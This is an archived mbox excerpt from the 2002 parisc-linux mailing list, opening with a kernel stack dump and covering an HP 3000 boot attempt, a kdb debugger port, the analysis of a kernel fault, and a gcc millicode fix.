8300 ce23402a 3a22b599 35696baf 38f44062 43276050 668a5aa7 588bf17d 42859ac7
8320 e3239ab0 fa807405 d8e62fb3 27c57c8b 4e9baf46 046360e3 8c911ca6 e30a458d
8340 91c1171e d0d3d159 61a754cc 2d87131d f08e4ebe 78d94708 b7cda90e b7d5696c
8360 d64dd339 95c05001 81184416 7b1c97d5 bdd7d040 58240ac2 22497664 2f2bfeca
8380 e2f216b0 ad438e88 8e0f2f1e 158bc974 45120462 14a12fff fba204ca 8003e837
83a0 d5832f7a e07e476a d06b0f5c 0eb4cd56 0cbdeb81 dc9d6b81 a7bd70c9 94bad2b5
83c0 4a1d0618 d834e22f 97b3ac93 81a2883b 0c66c186 6613956a 6134668e 7913c75a
83e0 5cbe2edb 93b590bb aa92b0b0 d6c4cb22 86489363 4ff52dae e2e19899 96d9bff9
8400 cfd6afac 5f35bee0 e35a8d85 6a8d1535 1b174581 60263ab3 5be9c92c 38b8626e
8420 98d52a57 387b891e 2f59735e 5ca75e16 d6091207 d92f460e 916c2fc1 6813d208
8440 09a274da 691bcae4 b0bd25c8 2ba90962 75a54286 c53359d8 1b4e8573 12975a5d
8460 cca06bc4 78cf95ec 559a47d7 8d0b70a7 b4d3448b 5d6e4d14 98061a32 851572c5
8480 7fffffff ffffffff fff5c930 12e56e00 875d2244 bf5962d1 13a5db61 4bbd55b3
84a0 cb787b8e 509f8649 a2869714 72ed143d 28b36e09 500811d0 02c0f000 d4b694e1
84c0 cccec03b 990d2596 e6c4ca54 62b2a7cb 0ab0b8a7 0b198a87 2e8fa8cb 105747cb
84e0 921284b6 4551c060 b45a6fbd edd4cd7c b36336ad 73f36c63 3a8d9cef 568f1828
8500 d44ed215 ce19dc14 50381a96 282404d7 a2152ad3 2a7270b7 2790ec2b 9fb351c5
8520 a8739faa c5c0f684 e2600e05 02ed540b 22910b4d 1ea441c6 0d14d13b 3c0f131c
8540 e53a03f9 8c639c48 c44b2a22 89e552a6 29db5533 6a75f4f0 fb0ac2b1 9b4fef3e
8560 9be359f5 37bd45b6 20d299cc 7d02a100 d1f34173 2d7a0a9d 31fa8961 18016106
8580 8bec9a89 e0b6a9a9 207869ac 2928f520 a245478a 7a30a7d3 aa350ad3 4a14870d
85a0 e710fffb a004ca00 03e23255 836f7ae0 78a71ad0 65ef5c0e eccb540d 3deb81eb
85c0 1c2b01a7 bd71522c a187d126 0c60981d e6f09a8b 4a254e58 0b79332b 4988cd21
85e0 40ca0cf2 0cab2fca 55f88e24 85ac96c6 54c14537 abce95c3 f9535562 59382683
8600 7b561673 aaee6ff7 79ad57b3 db7feeb8 f6b41ba5 585a9aeb 1b149416 b179d763
8620 d10eda9e 90dc8551 b59cc774 d5730c96 2259144d e12185a3 b507b4cc 0d682553
8640 107cc00f 81343793 962c310c c18345c7 c6c2a1b1 58987ea1 5b828269 dc7f53c1
8660 cc96a8b0 5c8a385e 73ed17c4 7f463aaf e6b97c69 d8dd7e66 f7bc0e31 7e04267c
8680 553729b7 9397bbd3 fc67033c 51235225 ad3c0e15 59a749d2 54f5b518 9cb3377b
86a0 afb410d0 61c698c4 2e3debc7 b0e47980 4ba1c537 82543054 6ced94a0 bae5634e

Kernel Fault: Code=26 regs=1a8586c0 (Addr=00000007)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 1031f810 1012ddc8 ffffffff
r04-07  00000001 263ff120 ffffffff 00000001
r08-11  00000000 2ff00110 263ff080 faf01250
r12-15  00001000 00000000 fffffff4 263ff120
r16-19  1a8585cc 2e47f140 00000000 0001ffff                                   
r20-23  0000009f 00000044 00000131 2ff00000
r24-27  ffffffff 00000001 263ff120 10304010
r28-31  ffffffea 0000000e 1a8586c0 10139fe4
sr0-3   00000000 00000478 00000000 00000478
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1012ae24 1012ae28
 IIR: 0c701093    ISR: 00000000  IOR: 00000007
 CPU:        0   CR30: 1a858000 CR31: 103b8000
 ORIG_R28: 6f707172
</stack dump>



From - Thu Nov 08 21:22:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <ccollet@gmu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc-linux semi-booting on an HP 3000 947
Date: Sun, 31 Mar 2002 19:38:18 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <271520c2711900.2711900271520c@gmu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621201 5625 80.91.229.3 (22 Nov 2014 01:53:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 31 17:38:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from portal.gmu.edu (portalknot.gmu.edu [129.174.0.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1976F4833
	for <parisc-linux@lists.parisc-linux.org>; Sun, 31 Mar 2002 17:38:25 -0700 (MST)
Original-Received: from gmu.edu (mail02.gmu.edu [129.174.0.10])
	by portal.gmu.edu (8.8.8/8.8.8) with ESMTP id TAA27687
	for <parisc-linux@lists.parisc-linux.org>; Sun, 31 Mar 2002 19:38:18 -0500 (EST)
X-Mailer: Netscape Webmail
Content-Language: en
X-Accept-Language: en
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14478

Hi,
   Just for fun I though I'd try running parisc-linux on my HP 3000 947
which is in need of an OS since I don't have MPE/iX tapes. It actually
booted off the latest CD image, but it freezes once it gets to the "If
this is the last message you see, you need to switch your console"
message. From what I've read, I assume this means that there's no
console driver written for this machine, which isn't suprising since it
isn't on the list of supported machines. Any idea if there's a way
around this, or if the NetBSD or OpenBSD ports might support it? Thanks
in advance.
   Chris.




From - Thu Nov 08 21:22:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux semi-booting on an HP 3000 947
Date: Mon, 1 Apr 2002 02:16:52 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20020401021652.J7279@parcelfarce.linux.theplanet.co.uk>
References: <271520c2711900.2711900271520c@gmu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621202 5636 80.91.229.3 (22 Nov 2014 01:53:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ccollet@gmu.edu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 31 18:16:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A42F4837
	for <parisc-linux@lists.parisc-linux.org>; Sun, 31 Mar 2002 18:16:55 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16rqRI-0008N3-00; Mon, 01 Apr 2002 02:16:52 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <271520c2711900.2711900271520c@gmu.edu>; from ccollet@gmu.edu on Sun, Mar 31, 2002 at 07:38:18PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14479

On Sun, Mar 31, 2002 at 07:38:18PM -0500, ccollet@gmu.edu wrote:
> Hi,
>    Just for fun I though I'd try running parisc-linux on my HP 3000 947
> which is in need of an OS since I don't have MPE/iX tapes. It actually
> booted off the latest CD image, but it freezes once it gets to the "If
> this is the last message you see, you need to switch your console"
> message. From what I've read, I assume this means that there's no
> console driver written for this machine, which isn't suprising since it
> isn't on the list of supported machines. Any idea if there's a way
> around this, or if the NetBSD or OpenBSD ports might support it? Thanks
> in advance.

According to my search of the mailing list archives, it's equivalent to a
G30 in HPUX land.  The console driver is indeed the problem.  You could
use Christoph Plattner's hack to get console output, but I'm not sure
what other devices you might have that would work.  Probably the ethernet
will work, and the SCSI won't.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux semi-booting on an HP 3000 947
Date: Mon, 1 Apr 2002 03:07:37 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020401030737.L7279@parcelfarce.linux.theplanet.co.uk>
References: <271520c2711900.2711900271520c@gmu.edu> <20020401021652.J7279@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621202 5645 80.91.229.3 (22 Nov 2014 01:53:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:22 +0000 (UTC)
Cc: ccollet@gmu.edu, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 31 19:07:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 55F15483F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 31 Mar 2002 19:07:38 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16rrEP-0000cH-00; Mon, 01 Apr 2002 03:07:37 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020401021652.J7279@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Mon, Apr 01, 2002 at 02:16:52AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14480

On Mon, Apr 01, 2002 at 02:16:52AM +0100, Matthew Wilcox wrote:
> According to my search of the mailing list archives, it's equivalent to a
> G30 in HPUX land.  The console driver is indeed the problem.  You could
> use Christoph Plattner's hack to get console output, but I'm not sure
> what other devices you might have that would work.  Probably the ethernet
> will work, and the SCSI won't.

Oops, got confused between G and E class.  G class has NIO lan, console
and scsi, so you're basically completely hosed.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Initial port of kdb to parisc-linux
Date: Sun, 31 Mar 2002 18:19:11 -0800
Lines: 50
Approved: news@gmane.org
Message-ID: <20020401021911.GG26353@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621202 5652 80.91.229.3 (22 Nov 2014 01:53:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:22 +0000 (UTC)
To: parisc-linux@parisc-linux.org, kdb@oss.sgi.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 31 19:19:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06EB2484B
	for <parisc-linux@parisc-linux.org>; Sun, 31 Mar 2002 19:19:28 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id khhhmaaa for parisc-linux@parisc-linux.org; Sun, 31 Mar 2002 19:18:42 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 16rrPb-0005Wb-00; Sun, 31 Mar 2002 18:19:11 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14481

Greetings,

It's amazing how much you can get done when you are procrastinating from
doing what you are supposed to be doing. The result, a first cut of a
port of SGI's kdb to parisc-linux.

There is a patch against kdb version 2.1 at
ftp://ftp.parisc-linux.org/patches/kdb-v2.1-2.4.18-pa11-parisc-1.bz2

It is meant to be applied over the kdb-v2.1-2.4.18-common-2.bz2 patch.
(I would give a url, but sgi's ftp site seems to be down as i write
this)

The basic commands like disassembly, memory/register dumps, setting breakpoints,
backtracing, etc work. Single stepping does not yet work though. Also, right 
now this only works on 32-bit kernels. There are a few things that need to be
fixed for 64-bit to work -- 

1. modutils doesn't handle building 64-bit kdb-enabled kernels when running 
a 32-bit kernel (kallsyms will fail).  

2. Once you hack around #1, you run into problems because the parisc64
compiler for some reason emits .dynsym/.dynamic sections into the
kernel. This confuses modutils to no end. There's a small patch in the
pa patch above that discards the dynamic sections. I'm dubious this is
the right thing to do, though it does build a kernel that will boot and
start kdb

3. After #1/#2, we run into a problem because hppa64 binutils doesn't
seem to sort unwind sections entirely correctly, so the backtracing
logic will fail.

I've only tested this on serial console. Virtual console probably
doesn't work yet (the pause key mapping code is missing). Also as
explained on the kdb mailing list the code only works with ps2 type
keyboards; someone will need to write a polling usb driver to use this
with a usb keyboard.

There is still much work to do... the unwind code in particular is quite
crude and could be much enhanced. please try out the patch and feel free
to send bug reports, patches, etc :-)

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IDE Harddisks in a C3K
Date: Sun, 31 Mar 2002 21:32:53 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <20020401043253.6579C484E@dsl2.external.hp.com>
References: <20020331124848.GA291@cvee.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621203 5655 80.91.229.3 (22 Nov 2014 01:53:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: DJ Tha Muggs <djmuggs@mail.cvee.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 31 21:32:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6579C484E; Sun, 31 Mar 2002 21:32:53 -0700 (MST)
In-Reply-To: Message from DJ Tha Muggs <djmuggs@mail.cvee.org> 
   of "Sun, 31 Mar 2002 14:48:48 +0200." <20020331124848.GA291@cvee.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14482

DJ Tha Muggs wrote:
> Anyone experienced with using IDE hdd's in a C3K?

Not me. I've only used the CD-ROM drive.
Note that suckyio got it's nick name for a reason.
I'm not sure I'd trust R/W data behind that interface.
Maybe if I could beat on it for a few days without errors,
I might change my mind. But I've got no incentive to do so.

> Are IDE badly supported or no one realy tried it yet?

probably both. 

> <stack dump>
> WARNING! Stack pointer and cr30 do not correspond!

This msg probably means a driver referenced a user space
pointer without copy_from_user() or changing the "DS".

...
> Dumping virtual address stack instead
> 
> Dumping Stack from 0x2a858000 to 0x2a8586c0:

*sigh*. I'm looking forward to stack unwinds under kdb.

...
> Kernel Fault: Code=26 regs=1a8586c0 (Addr=00000007)

variant of a data page fault.

> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001101111111100001111 Not tainted
> r00-03  00000000 1031f810 1012ddc8 ffffffff

Return Pointer of most recent subroutine call.

> r20-23  0000009f 00000044 00000131 2ff00000
> r24-27  ffffffff 00000001 263ff120 10304010

Args are in r26, r25, ...

> IASQ: 00000000 00000000 IAOQ: 1012ae24 1012ae28

1012ae24 is address of faulting instruction.
Start here.

grant



From - Thu Nov 08 21:22:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: $$remI corner case
Date: Mon, 01 Apr 2002 09:34:01 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <m16s4kv-000KUzC@phantom.home>
References: <200203301838.g2UIc1FP028387@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621203 5662 80.91.229.3 (22 Nov 2014 01:53:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, amodra@bigpond.net.au
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  1 09:34:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31DEE482A
	for <parisc-linux@parisc-linux.org>; Mon,  1 Apr 2002 09:34:17 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 8E86C8051D4; Mon,  1 Apr 2002 11:34:09 -0500 (EST)
Original-Received: from phantom.home (phantom.fc.hp.com [15.1.49.58])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 4237C4033; Mon,  1 Apr 2002 09:34:05 -0700 (MST)
Original-Received: from riverrock.org (really [127.0.0.1]) by riverrock.org
	via in.smtpd with esmtp
	id <m16s4kv-000KUzC@phantom.home> (Debian Smail3.2.0.114)
	Mon, 1 Apr 2002 09:34:05 -0700 (MST) 
In-Reply-To: Your message of "Sat, 30 Mar 2002 13:38:00 EST."
             <200203301838.g2UIc1FP028387@hiauly1.hia.nrc.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14483

> I have investigated the failure of gcc.c-torture/execute/arith-rand.c
> under hppa-linux.  The failure is caused by $$remI returning an incorrect
> signed result when the divisor is 0x80000000 (largest negative integer).
> The 32-bit linux port currently uses the millicode routines in milli32.S.
> This is older code dating from 1995.

My memory is hazy here, but I think the 32-bit code is from the original
hpux gcc port.  The 64-bit code is some I had permission to port right
from the latest version available at the time, last year or whenever that
was.

Alan made it fit better with the gcc infrastructure (put it all
in one file with those #ifdefs).

> The 64-bit port uses milli64.S.  This code looks like it was originally
> written for 32-bit but I it's possible some changes have been made
> that would make it incompatible with 32-bit registers.  Paul and Alan,
> could you comment on this?

Millicode calling conventions are incompatible for 32 and 64-bit,
the return value register is the thing I remember right now and
may be the only difference.

> I added $$dyncall to milli64.S and modified t-linux to use milli64.S.
> This fixes the arith-rand.c fail and there are no other regressions,
> so I think we can use milli64.S on both the 32-bit and 64-bit ports.

It looks like the appropriate #ifdefs are present in milli64.S so
that it can be used as-is for 32-bit (so long as the "pa64" CPP
symbol is properly defined).

	-P



From - Thu Nov 08 21:22:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: $$remI corner case
Date: Mon, 1 Apr 2002 12:28:40 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200204011728.g31HSfJ3000127@hiauly1.hia.nrc.ca>
References: <m16s4kv-000KUzC@phantom.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621203 5667 80.91.229.3 (22 Nov 2014 01:53:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, amodra@bigpond.net.au
To: bame@riverrock.org (Paul Bame)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  1 10:28:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C958D482A
	for <parisc-linux@parisc-linux.org>; Mon,  1 Apr 2002 10:28:54 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g31HSfFN000128;
	Mon, 1 Apr 2002 12:28:41 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g31HSfJ3000127;
	Mon, 1 Apr 2002 12:28:41 -0500 (EST)
In-Reply-To: <m16s4kv-000KUzC@phantom.home> from "Paul Bame" at Apr 1, 2002 09:34:01 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14484

> > I added $$dyncall to milli64.S and modified t-linux to use milli64.S.
> > This fixes the arith-rand.c fail and there are no other regressions,
> > so I think we can use milli64.S on both the 32-bit and 64-bit ports.
> 
> It looks like the appropriate #ifdefs are present in milli64.S so
> that it can be used as-is for 32-bit (so long as the "pa64" CPP
> symbol is properly defined).

We have the appropriate #ifdefs and defines to handle the different
return conventions.  My only real concern was some corner case arising
from the difference in register size.  If Alan doesn't recall anything
in the next day or so, I will apply the patch to the gcc trunk.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LM Bench results on the Same C200 between HP-UX 10.20 and
 parisc-linux 2.4.18-pa11
Date: 01 Apr 2002 23:42:46 -0700
Lines: 94
Approved: news@gmane.org
Message-ID: <1017729766.31935.8.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621204 5717 80.91.229.3 (22 Nov 2014 01:53:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
